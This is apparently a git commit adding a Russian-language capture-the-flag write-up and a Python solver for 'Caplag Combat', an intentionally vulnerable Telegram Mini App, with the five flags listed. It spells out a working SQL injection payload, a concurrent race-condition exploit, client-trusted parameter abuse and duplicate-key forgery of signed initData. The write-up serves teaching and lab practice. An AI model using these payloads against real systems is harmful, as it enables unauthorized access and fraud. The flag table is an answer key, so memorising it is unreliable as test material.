Init. Commit

This commit is contained in:
Caplag
2026-09-17 00:50:07 +03:00
commit 880d8698d6
115 changed files with 7611 additions and 0 deletions
+99
View File
@@ -0,0 +1,99 @@
<h1 align="center">CaplagCombat</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-Web-blueviolet" alt="Web"/>
<img src="https://img.shields.io/badge/difficulty-hard-critical" alt="hard"/>
</p>
Caplag Combat — Telegram Mini App с тапами, карточками и рейтингом. В игровом клиенте и API находятся пять флагов. Получаем сессию через обычный вход Mini App и начинаем смотреть запросы в DevTools.
При запуске frontend сам отправляет `Telegram.WebApp.initData` в `/api/auth/telegram`, а сервер проверяет подпись и устанавливает HttpOnly-cookie сессии. Интерфейс запускается только на мобильных клиентах (`android`, `android_x`, `ios`), поэтому в обычном браузере и Telegram Desktop показывается экран неподдерживаемого устройства. Для перехвата запросов используем remote debugging мобильного WebView или прокси. HttpOnly-cookie из JavaScript не читается, но same-origin `fetch` в консоли WebView отправляет её автоматически.
## Решение
Нужные операции находятся в `/api/ctf/*`. Без сессии они отвечают `401`, а с сессией неизвестный путь даёт `404`, существующая POST-ручка при GET возвращает `405`, GET-ручки отвечают `200`. `OPTIONS` для разведки бесполезен, поскольку общий CORS-обработчик отвечает `204` до маршрутизации. Так находятся пять независимых задач, это `tap/claim`, `cards/upgrade`, `contracts/search`, `telegram-proof/template` и `telegram-proof`.
Для тапов и гонки у них отдельное состояние, поэтому ориентируемся на ответы этих эндпоинтов. Для запросов нужны cookie авторизованной сессии. В гонке используем отдельных новых игроков, а в остальных ветках сохраняем первоначальную сессию.
> Солвер создаёт игроков через `POST /api/auth/telegram` с `devName`, поэтому ему нужен стенд с `ALLOW_DEV_AUTH=1`. При обычном Telegram-входе запросы выполняем из авторизованной сессии мобильного WebView.
### Отладочный пакет
Клиент загружает `/api/ctf/debug-bundle.js`. Запрашиваем его напрямую из авторизованной сессии:
```http
GET /api/ctf/debug-bundle.js
```
Скрипт создаёт `window.__CAPLAG_DEBUG__`, внутри которого лежит первый флаг. Он читается прямо из тела ответа.
### Проверка параметров тапа
`POST /api/ctf/tap/claim` принимает `taps`, `tapPower` и `comboMultiplier`. Начисление считается как произведение этих трёх чисел, а силу тапа сервер берёт у клиента без сверки с прогрессом, ограничивая лишь диапазоны, включая `tapPower` до `10000000` и `comboMultiplier` до `100`.
Отправляем JSON:
```json
{"taps":10,"tapPower":100000,"comboMultiplier":1}
```
Получается `10 × 100000 × 1 = 1000000`. Это порог выдачи второго флага, который приходит в поле `flag`. У обычного игрока такого tap power нет, но запрос проходит все проверки диапазонов.
### Гонка при улучшении карточки
Карточка `Parallel Miner` улучшается через `POST /api/ctf/cards/upgrade` со стартовым балансом `1000`, ценой апгрейда `700` и целевым уровнем `5`. При последовательных покупках баланса хватает лишь на один уровень. Но между проверкой денег и обновлением состояния есть задержка около 125 мс, а повторной проверки баланса в `UPDATE` нет.
Создаём нового игрока и отправляем восемь запросов одновременно, с одной cookie и JSON-телом `{}`. Несколько запросов проходят проверку баланса до первого списания, поэтому каждый обработчик увеличивает `ctf_card_level`. Когда уровень достигает `5`, в ответе появляется флаг.
Если запросы не успели пройти проверку одновременно, повторяем попытку с новым игроком, поскольку у предыдущего баланс уже мог измениться. Солвер делает до четырёх таких попыток, создавая отдельного игрока для каждой.
### SQL-инъекция в поиске контрактов
Поиск `GET /api/ctf/contracts/search?q=...` вставляет `q` в SQL-условие `ILIKE`. Пробуем boolean-инъекцию, открывающую скрытые строки:
```text
' OR is_hidden = true --
```
Значение передаём в `q` с URL-кодированием. Условие позволяет вернуть контракт с `is_hidden = true` и четвёртым ответом в поле `flag`. Фильтр вырезает слова вроде `union` и `select` и блокирует составные запросы, но пропускает одинарную кавычку и `OR`, поэтому для этой ветки достаточно изменить логическое условие.
Вместо комментария можно закрыть строку поиска и открыть её снова, чтобы сохранить хвост исходного запроса:
```text
' OR is_hidden = true OR title ILIKE '
```
В обоих вариантах в ответе появляется скрытый контракт `ghost-contract-42`, чьё поле `flag` не очищается.
### Дублирование ключей
Берём подписанный шаблон из `GET /api/ctf/telegram-proof/template`, поле `initData`. Это отдельная CTF-строка, свежеподписанная сервером и содержащая `ctf_role=observer` и `ctf_claim=viewer`. Шаблон действителен в течение десяти минут после получения. При проверке подписи обработчик использует **первое** значение каждого ключа, а для авторизации — **последнее**.
Дописываем в конец шаблона дубли:
```text
&ctf_role=auditor&ctf_claim=claim_hard_flag
```
Затем отправляем изменённую строку в `POST /api/ctf/telegram-proof`:
```python
forged = template + "&ctf_role=auditor&ctf_claim=claim_hard_flag"
payload = {"initData": forged}
```
Подписанные первые значения остались прежними, поэтому подпись сходится. Проверка прав видит последние `auditor` и `claim_hard_flag` и возвращает пятый флаг.
[Солвер](solve/solve.py).
## Все этапы
| Этап | Флаг |
|---|---|
| 1 | `caplag{cc_easy_1_05873347cbcbfa04}` |
| 2 | `caplag{cc_easy_2_a9570608a3553c4a}` |
| 3 | `caplag{cc_medium_1_00d451298c753b3d}` |
| 4 | `caplag{cc_medium_2_bdaef85af11b3c2b}` |
| 5 | `caplag{cc_hard_1_ffaa2e690177555d}` |
Значения флагов генерируются при развёртывании стенда, поэтому на другом инстансе они будут другими (на проде, например, с префиксом `prod_` вместо `cc_`).
+147
View File
@@ -0,0 +1,147 @@
#!/usr/bin/env python3
import argparse
import concurrent.futures
import http.cookiejar
import json
import random
import re
import string
import sys
import urllib.error
import urllib.parse
import urllib.request
FLAG_RE = re.compile(r"caplag\{[^{}]+\}")
class Client:
def __init__(self, base_url: str):
self.base_url = base_url.rstrip("/")
self.cookies = http.cookiejar.CookieJar()
self.opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.cookies))
def cookie_header(self) -> str:
return "; ".join(f"{cookie.name}={cookie.value}" for cookie in self.cookies)
def request(self, method: str, path: str, body: dict | None = None, cookie: str | None = None) -> tuple[int, bytes]:
data = None
headers = {}
if body is not None:
data = json.dumps(body).encode()
headers["Content-Type"] = "application/json"
if cookie:
headers["Cookie"] = cookie
req = urllib.request.Request(self.base_url + path, data=data, headers=headers, method=method)
try:
with self.opener.open(req, timeout=8) as response:
return response.status, response.read()
except urllib.error.HTTPError as exc:
return exc.code, exc.read()
def json(self, method: str, path: str, body: dict | None = None, cookie: str | None = None) -> dict:
status, raw = self.request(method, path, body, cookie)
if status >= 400:
raise RuntimeError(f"{method} {path} returned HTTP {status}: {raw[:200]!r}")
return json.loads(raw.decode())
def random_name() -> str:
suffix = "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
return f"ctf-solver-{suffix}"
def authenticate(client: Client) -> str:
client.json("POST", "/api/auth/telegram", {"devName": random_name()})
cookie = client.cookie_header()
if not cookie:
raise RuntimeError("auth did not set a session cookie")
return cookie
def flag_from_text(text: str) -> str:
match = FLAG_RE.search(text)
if not match:
raise RuntimeError(f"flag not found in response: {text[:300]!r}")
return match.group(0)
def solve_debug_bundle(client: Client) -> str:
status, raw = client.request("GET", "/api/ctf/debug-bundle.js")
if status != 200:
raise RuntimeError(f"debug bundle returned HTTP {status}")
return flag_from_text(raw.decode())
def solve_tap_claim(client: Client) -> str:
data = client.json(
"POST",
"/api/ctf/tap/claim",
{"taps": 10, "tapPower": 100000, "comboMultiplier": 1},
)
if "flag" not in data:
raise RuntimeError(f"tap claim did not return flag: {data}")
return data["flag"]
def solve_race_upgrade(base_url: str, attempts: int = 4) -> str:
for _ in range(attempts):
client = Client(base_url)
cookie = authenticate(client)
def upgrade_once() -> dict:
worker = Client(base_url)
return worker.json("POST", "/api/ctf/cards/upgrade", {}, cookie=cookie)
with concurrent.futures.ThreadPoolExecutor(max_workers=8) as pool:
futures = [pool.submit(upgrade_once) for _ in range(8)]
for future in concurrent.futures.as_completed(futures):
try:
data = future.result()
except Exception:
continue
if data.get("flag"):
return data["flag"]
raise RuntimeError("race upgrade did not reach target level")
def solve_contract_search(client: Client) -> str:
query = urllib.parse.urlencode({"q": "' OR is_hidden = true --"})
data = client.json("GET", f"/api/ctf/contracts/search?{query}")
for contract in data.get("contracts", []):
if contract.get("flag"):
return contract["flag"]
raise RuntimeError(f"hidden contract flag not found: {data}")
def solve_telegram_proof(client: Client) -> str:
template = client.json("GET", "/api/ctf/telegram-proof/template")["initData"]
forged = template + "&ctf_role=auditor&ctf_claim=claim_hard_flag"
data = client.json("POST", "/api/ctf/telegram-proof", {"initData": forged})
if not data.get("success") or not data.get("flag"):
raise RuntimeError(f"telegram proof was not accepted: {data}")
return data["flag"]
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("url", nargs="?", default="http://127.0.0.1:18080")
args = parser.parse_args()
client = Client(args.url)
authenticate(client)
flags = [
solve_debug_bundle(client),
solve_tap_claim(client),
solve_race_upgrade(args.url),
solve_contract_search(client),
solve_telegram_proof(client),
]
for flag in flags:
print(flag)
return 0
if __name__ == "__main__":
raise SystemExit(main())